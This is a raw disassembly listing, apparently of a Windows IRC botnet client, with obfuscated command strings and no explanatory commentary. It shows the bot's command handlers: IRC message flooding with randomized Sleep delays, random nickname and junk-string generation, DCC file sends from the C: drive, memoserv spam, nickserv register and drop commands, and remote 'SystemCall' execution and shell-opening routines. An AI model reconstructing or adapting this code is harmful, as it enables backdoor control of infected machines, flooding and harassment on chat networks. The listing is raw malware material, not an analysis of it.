"nQ.As1Z1SIt/" call edi ; dword_437178 test eax, eax jnz short loc_40E0A8 mov ecx, [ebx+8] test ecx, ecx jz short loc_40E0A8 mov eax, [ebx+0Ch] test eax, eax jz short loc_40E0A8 push eax push ecx lea eax, [ebp+var_59BC] push offset dword_441048 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h loc_40E0A8: ; CODE XREF: sub_40A9FE+3678j ; sub_40A9FE+367Fj ... push dword ptr [ebx+4] push offset aUn3hk0sn58o_0 ; "uN3hk0sn58o/" call edi ; dword_437178 test eax, eax jnz short loc_40E117 mov ecx, [ebx+8] test ecx, ecx jz short loc_40E117 mov eax, [ebx+0Ch] test eax, eax jz short loc_40E0F0 push eax push ecx push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" lea eax, [ebp+var_59BC] push offset dword_441058 push eax call sub_429B03 add esp, 14h jmp short loc_40E10A ; --------------------------------------------------------------------------- loc_40E0E1: ; CODE XREF: sub_40A9FE+2A43j ; sub_40A9FE+2A4Cj ... mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." mov edi, offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1" jmp loc_410B5A ; --------------------------------------------------------------------------- loc_40E0F0: ; CODE XREF: sub_40A9FE+36C4j push ecx push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 add esp, 10h loc_40E10A: ; CODE XREF: sub_40A9FE+36E1j lea eax, [ebp+var_59BC] push eax call sub_42638E pop ecx loc_40E117: ; CODE XREF: sub_40A9FE+36B6j ; sub_40A9FE+36BDj push dword ptr [ebx+4] push offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1" call edi ; dword_437178 test eax, eax jnz short loc_40E152 mov eax, [ebx+8] test eax, eax jz short loc_40E152 push eax push offset aYjmlc1btsf10 ; "yJmlc1btsF10" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h loc_40E152: ; CODE XREF: sub_40A9FE+3725j ; sub_40A9FE+372Cj push dword ptr [ebx+4] push offset aIegud0v_5_ ; "iEguD0V/.5/." call edi ; dword_437178 test eax, eax jnz short loc_40E195 mov ecx, [ebx+8] test ecx, ecx jz short loc_40E195 mov eax, [ebx+0Ch] test eax, eax jz short loc_40E195 push eax push ecx push offset aYjmlc1btsf10 ; "yJmlc1btsF10" lea eax, [ebp+var_59BC] push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40E195: ; CODE XREF: sub_40A9FE+3760j ; sub_40A9FE+3767j ... push dword ptr [ebx+4] push offset aFc9kk1jx11g_ ; "fc9Kk1jX11G." call edi ; dword_437178 test eax, eax jnz short loc_40E202 cmp [ebx+8], eax jz short loc_40E202 call dword_437188 ; GetTickCount push eax call sub_429B8F call sub_429B9C cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_1F54] push edx push dword ptr [ebx+8] push offset dword_441040 push eax call sub_429B03 lea eax, [ebp+var_1F54] push eax push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 28h loc_40E202: ; CODE XREF: sub_40A9FE+37A3j ; sub_40A9FE+37A8j push dword ptr [ebx+4] push offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/" call edi ; dword_437178 test eax, eax jnz loc_40E356 mov eax, [ebx+8] test eax, eax jz loc_40E356 cmp dword ptr [ebx+0Ch], 0 jz loc_40E356 push eax push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aYjmlc1btsf10 ; "yJmlc1btsF10" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 2Ch call sub_429B9C cdq mov ecx, 3E8h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 384h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aYjmlc1btsf10 ; "yJmlc1btsF10" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 2Ch call sub_429B9C cdq mov ecx, 0C8h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aYjmlc1btsf10 ; "yJmlc1btsF10" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40E356: ; CODE XREF: sub_40A9FE+3810j ; sub_40A9FE+381Bj ... push dword ptr [ebx+4] push offset aEwqxaOc1t_ ; "EWqxA//oC1T." call edi ; dword_437178 test eax, eax jnz loc_40E731 cmp [ebx+8], eax jz loc_40E731 call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx call sub_429B9C push 1Ah cdq pop ecx idiv ecx add dl, 41h mov byte ptr [ebp+arg_68+3], dl call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx movsx eax, byte ptr [ebp+arg_68+3] push edx push eax call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx push edx call sub_429B9C push 0Fh cdq pop ecx idiv ecx lea eax, [ebp+var_220C0] push edx push offset dword_440F98 push eax call sub_429B03 push 7D0h push 400h call sub_41E415 add esp, 0C4h push eax lea eax, [ebp+var_38050] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_440F5C push eax call sub_429B03 push 7D0h push 400h call sub_41E415 add esp, 1Ch push eax call sub_429B9C cdq mov ecx, 5F5E0FFh idiv ecx lea eax, [ebp+var_3CE70] push edx push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_440F10 push eax call sub_429B03 push 7D0h push 400h call sub_41E415 add esp, 20h push eax call sub_429B9C cdq mov ecx, 5F5E0FFh idiv ecx push edx push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" lea eax, [ebp+var_41C90] push offset dword_440EE0 push eax call sub_429B03 push 7D0h push 400h call sub_41E415 push eax lea eax, [ebp+var_220C0] push eax lea eax, [ebp+var_46AB0] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_440EBC push eax call sub_429B03 add esp, 38h call sub_426323 push eax lea eax, [ebp+var_220C0] push eax call sub_426323 push eax lea eax, [ebp+var_4B8D0] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push offset dword_440EA4 push eax call sub_429B03 lea eax, [ebp+var_220C0] push eax lea eax, [ebp+var_506F0] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset aSSDccSendCS ; "%s %s :DCC SEND C:\\\\\\\\%s" push eax call sub_429B03 lea eax, [ebp+var_38050] push eax call sub_42638E lea eax, [ebp+var_3CE70] push eax call sub_42638E lea eax, [ebp+var_41C90] push eax call sub_42638E lea eax, [ebp+var_46AB0] push eax call sub_42638E add esp, 40h lea eax, [ebp+var_4B8D0] push eax call sub_42638E lea eax, [ebp+var_506F0] push eax call sub_42638E pop ecx pop ecx loc_40E731: ; CODE XREF: sub_40A9FE+3964j ; sub_40A9FE+396Dj push dword ptr [ebx+4] push offset aJiatz0xsump1 ; "JIAtz0xSuMp1" call edi ; dword_437178 test eax, eax jnz loc_40E82E cmp [ebx+8], eax jz loc_40E82E call dword_437188 ; GetTickCount push eax call sub_429B8F push 0Fh mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"... pop ecx lea edi, [ebp+var_768] rep movsd movsw movsb mov esi, 2710h lea eax, [ebp+var_66680] push esi push 0 push eax call sub_429760 push esi lea eax, [ebp+var_35940] push 0 push eax call sub_429760 add esp, 1Ch mov esi, 8Fh loc_40E796: ; CODE XREF: sub_40A9FE+3DE6j call dword_437188 ; GetTickCount push eax call sub_429B8F call sub_429B9C push 24h cdq pop ecx idiv ecx movsx eax, [ebp+edx+var_768] push eax push offset dword_440E84 lea eax, [ebp+var_66680] push 2710h push eax call sub_429BBE add esp, 14h lea eax, [ebp+var_66680] push eax lea eax, [ebp+var_35940] push eax call dword_437090 ; lstrcatA dec esi jnz short loc_40E796 push 7D0h push 400h call sub_41E415 push eax lea eax, [ebp+var_35940] push eax lea eax, [ebp+var_55510] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_440E5C push eax call sub_429B03 lea eax, [ebp+var_55510] push eax call sub_42638E mov esi, [ebp+arg_C] mov edi, dword_437178 add esp, 24h loc_40E82E: ; CODE XREF: sub_40A9FE+3D3Fj ; sub_40A9FE+3D48j push dword ptr [ebx+4] push offset aVi0qa1mvfro1 ; "VI0QA1mvfro1" call edi ; dword_437178 test eax, eax jnz loc_40E91A cmp [ebx+8], eax jz loc_40E91A cmp [ebx+0Ch], eax jz loc_40E91A push 2710h push eax lea eax, [ebp+var_52E00] push eax call sub_429760 push 104h lea eax, [ebp+var_2EA8] push 0 push eax call sub_429760 push dword ptr [ebx+0Ch] lea eax, [ebp+var_2EA8] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 24h push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_40E8DB loc_40E899: ; CODE XREF: sub_40A9FE+3EDBj mov eax, [ebp+arg_C] mov eax, [ebx+eax*4] test eax, eax jz short loc_40E8D0 push eax lea eax, [ebp+var_52E00] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_52E00] push 104h push eax lea eax, [ebp+var_2EA8] push eax call sub_4299E0 add esp, 18h loc_40E8D0: ; CODE XREF: sub_40A9FE+3EA3j inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_40E899 loc_40E8DB: ; CODE XREF: sub_40A9FE+3E99j push 7D0h push 400h call sub_41E415 push eax lea eax, [ebp+var_2EA8] push eax lea eax, [ebp+var_5A330] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_440E5C push eax call sub_429B03 lea eax, [ebp+var_5A330] push eax call sub_42638E add esp, 24h loc_40E91A: ; CODE XREF: sub_40A9FE+3E3Cj ; sub_40A9FE+3E45j ... push dword ptr [ebx+4] push offset aW3gp6_13acy1 ; "W3GP6.13AcY1" call edi ; dword_437178 test eax, eax jnz short loc_40E960 lea eax, [ebp+var_21F8] push eax call sub_426761 lea eax, [ebp+var_21F8] push eax push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40E960: ; CODE XREF: sub_40A9FE+3F28j push dword ptr [ebx+4] push offset aE8qiq0hukv9 ; "e8qiq0Hukv9/" call edi ; dword_437178 test eax, eax jnz short loc_40E9D0 mov eax, [ebx+8] test eax, eax jz short loc_40E9D0 push eax push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E lea eax, [ebp+var_2268] push eax call sub_426761 lea eax, [ebp+var_2268] push eax push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 2Ch loc_40E9D0: ; CODE XREF: sub_40A9FE+3F6Ej ; sub_40A9FE+3F75j push dword ptr [ebx+4] push offset a18rjk_sa2je ; "18Rjk.sa2JE/" call edi ; dword_437178 test eax, eax jnz loc_40EAA0 cmp [ebx+8], eax jz loc_40EAA0 mov eax, [ebx+0Ch] test eax, eax jz loc_40EAA0 and [ebp+arg_C], 0 push eax call sub_42A100 test eax, eax pop ecx jle loc_40EAA0 loc_40EA09: ; CODE XREF: sub_40A9FE+409Cj push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E lea eax, [ebp+var_1F8C] push eax call sub_426761 lea eax, [ebp+var_1F8C] push eax push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aYjmlc1btsf10 ; "yJmlc1btsF10" push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 40h inc [ebp+arg_C] push dword ptr [ebx+0Ch] call sub_42A100 cmp [ebp+arg_C], eax pop ecx jl loc_40EA09 loc_40EAA0: ; CODE XREF: sub_40A9FE+3FDEj ; sub_40A9FE+3FE7j ... push dword ptr [ebx+4] push offset aLjAmKzrtp1 ; "lJ/am/kZRtP1" call edi ; dword_437178 test eax, eax jnz loc_40EB93 mov eax, [ebx+8] test eax, eax jz loc_40EB93 cmp dword ptr [ebx+0Ch], 0 jz loc_40EB93 push eax push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 2Ch call sub_429B9C cdq mov ecx, 3E8h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h call sub_429B9C cdq mov ecx, 384h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40EB93: ; CODE XREF: sub_40A9FE+40AEj ; sub_40A9FE+40B9j ... push dword ptr [ebx+4] push offset aXzaru0amxhi_ ; "XZArU0aMxhi." call edi ; dword_437178 test eax, eax jnz loc_40EC7C mov eax, [ebx+8] test eax, eax jz loc_40EC7C push eax push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 2Ch call sub_429B9C cdq mov ecx, 3E8h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h call sub_429B9C cdq mov ecx, 384h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40EC7C: ; CODE XREF: sub_40A9FE+41A1j ; sub_40A9FE+41ACj push dword ptr [ebx+4] push offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0" call edi ; dword_437178 test eax, eax jnz loc_40ED98 mov eax, [ebx+8] test eax, eax jz loc_40ED98 push eax push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441088 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 28h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441074 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441064 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441064 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h loc_40ED98: ; CODE XREF: sub_40A9FE+428Aj ; sub_40A9FE+4295j push dword ptr [ebx+4] push offset aRp4sr11cvr1 ; "Rp4sR11CvR1/" call edi ; dword_437178 test eax, eax jnz loc_40EEC7 mov eax, [ebx+8] test eax, eax jz loc_40EEC7 cmp dword ptr [ebx+0Ch], 0 jz loc_40EEC7 push eax push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" lea eax, [ebp+var_59BC] push offset aSS_1 ; "%s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441088 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 28h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+0Ch] lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40EEC7: ; CODE XREF: sub_40A9FE+43A6j ; sub_40A9FE+43B1j ... push dword ptr [ebx+4] push offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ." call edi ; dword_437178 test eax, eax jnz loc_40EF75 mov eax, [ebx+0Ch] test eax, eax jz loc_40EF75 push eax lea eax, [ebp+var_32AC] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_40EF46 loc_40EF04: ; CODE XREF: sub_40A9FE+4546j mov eax, [ebp+arg_C] mov eax, [ebx+eax*4] test eax, eax jz short loc_40EF3B push eax lea eax, [ebp+var_E840] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_E840] push 100h push eax lea eax, [ebp+var_32AC] push eax call sub_4299E0 add esp, 18h loc_40EF3B: ; CODE XREF: sub_40A9FE+450Ej inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_40EF04 loc_40EF46: ; CODE XREF: sub_40A9FE+4504j lea eax, [ebp+var_32AC] push eax lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset aSMemoservSendS ; "%s memoserv :send %s %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40EF75: ; CODE XREF: sub_40A9FE+44D5j ; sub_40A9FE+44E0j push dword ptr [ebx+4] push offset a1shta0bzfwk1 ; "1ShtA0bzFwk1" call edi ; dword_437178 test eax, eax jnz short loc_40EFD9 call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx call sub_401A77 push eax call sub_401A77 push eax lea eax, [ebp+var_5F150] push offset aS@S_com ; "%s@%s.com" push eax call sub_429B03 lea eax, [ebp+var_5F150] push eax push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" lea eax, [ebp+var_59BC] push offset aSNickservRegis ; "%s nickserv :register pass103 %s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 24h loc_40EFD9: ; CODE XREF: sub_40A9FE+4583j push dword ptr [ebx+4] push offset aAzcsp_hkilo_ ; "AZcsP.hkiLO." call edi ; dword_437178 test eax, eax jnz short loc_40F00C push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" lea eax, [ebp+var_59BC] push offset aSNickservDrop ; "%s nickserv drop" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 10h loc_40F00C: ; CODE XREF: sub_40A9FE+45E7j push dword ptr [ebx+4] push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0" call edi ; dword_437178 test eax, eax jnz loc_414995 call sub_426B6C xor ebx, ebx mov edi, offset aSUnloaded_ ; "%s Unloaded." cmp [ebp+arg_14], ebx jnz short loc_40F048 cmp [ebp+arg_18], ebx jnz short loc_40F051 push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40F048: ; CODE XREF: sub_40A9FE+462Fj cmp [ebp+arg_18], ebx jz loc_414995 loc_40F051: ; CODE XREF: sub_40A9FE+4634j push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1" jmp loc_414743 ; --------------------------------------------------------------------------- loc_40F05B: ; CODE XREF: sub_40A9FE+2A19j push dword ptr [ebx] push offset aFepmfZswfd ; "FEpMF/ZswFD/" call edi ; dword_437178 test eax, eax jnz loc_40F101 cmp [ebx+4], eax jnz short loc_40F07B mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" jmp loc_40F8A0 ; --------------------------------------------------------------------------- loc_40F07B: ; CODE XREF: sub_40A9FE+4671j push 20h push [ebp+arg_8] call sub_42B1A0 mov edi, eax xor ebx, ebx pop ecx cmp edi, ebx pop ecx jz loc_414995 cmp [ebp+arg_34], ebx jz short loc_40F0C9 mov al, [ebp+arg_38] mov byte ptr [ebp+arg_C+3], 5Fh test al, al jz short loc_40F0A6 mov byte ptr [ebp+arg_C+3], al loc_40F0A6: ; CODE XREF: sub_40A9FE+46A3j push edi call sub_4293A0 test eax, eax pop ecx jbe short loc_40F0C9 loc_40F0B1: ; CODE XREF: sub_40A9FE+46C9j mov al, byte ptr [ebp+arg_C+3] cmp [ebx+edi], al jnz short loc_40F0BD mov byte ptr [ebx+edi], 20h loc_40F0BD: ; CODE XREF: sub_40A9FE+46B9j push edi inc ebx call sub_4293A0 cmp ebx, eax pop ecx jb short loc_40F0B1 loc_40F0C9: ; CODE XREF: sub_40A9FE+4698j ; sub_40A9FE+46B1j inc edi push edi call sub_42B0E9 test eax, eax pop ecx jz short loc_40F0F1 cmp [ebp+arg_18], 0 push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSSystemcallFai ; "%s SystemCall failed." jnz loc_414744 loc_40F0E9: ; CODE XREF: sub_40A9FE+C33j push dword ptr [esi+0Ch] jmp loc_40AF51 ; --------------------------------------------------------------------------- loc_40F0F1: ; CODE XREF: sub_40A9FE+46D5j push edi push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSSystemcallSen ; "%s SystemCall sent: \"%s\"" jmp loc_40D1F8 ; --------------------------------------------------------------------------- loc_40F101: ; CODE XREF: sub_40A9FE+4668j push dword ptr [ebx] push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1" call edi ; dword_437178 test eax, eax jnz loc_40F1EE mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] mov [ebp+var_27D4], eax mov eax, [ebp+arg_10] mov [ebp+var_27D8], ecx mov [ebp+var_28E4], eax mov eax, [eax] mov [ebp+var_28E0], eax lea eax, [ebp+var_285C] test ecx, ecx jnz short loc_40F144 push dword ptr [esi+0Ch] jmp short loc_40F146 ; --------------------------------------------------------------------------- loc_40F144: ; CODE XREF: sub_40A9FE+473Fj push dword ptr [esi] loc_40F146: ; CODE XREF: sub_40A9FE+4744j push eax call dword_4370B4 ; lstrcpyA push 0Fh call sub_423800 test eax, eax pop ecx jle short loc_40F168 mov ebx, offset aSS_ ; "%s %s." mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/" jmp loc_40F2F6 ; --------------------------------------------------------------------------- loc_40F168: ; CODE XREF: sub_40A9FE+4759j push [ebp+var_28E4] lea eax, [ebp+var_285C] push eax call sub_41E7BE pop ecx cmp eax, 0FFFFFFFFh pop ecx mov edi, offset aWhdag1glagf_ ; "WHdAg1glAgf." mov ebx, offset aSCouldnTOpenSh ; "%s Couldn't open shell." jnz short loc_40F1A7 cmp 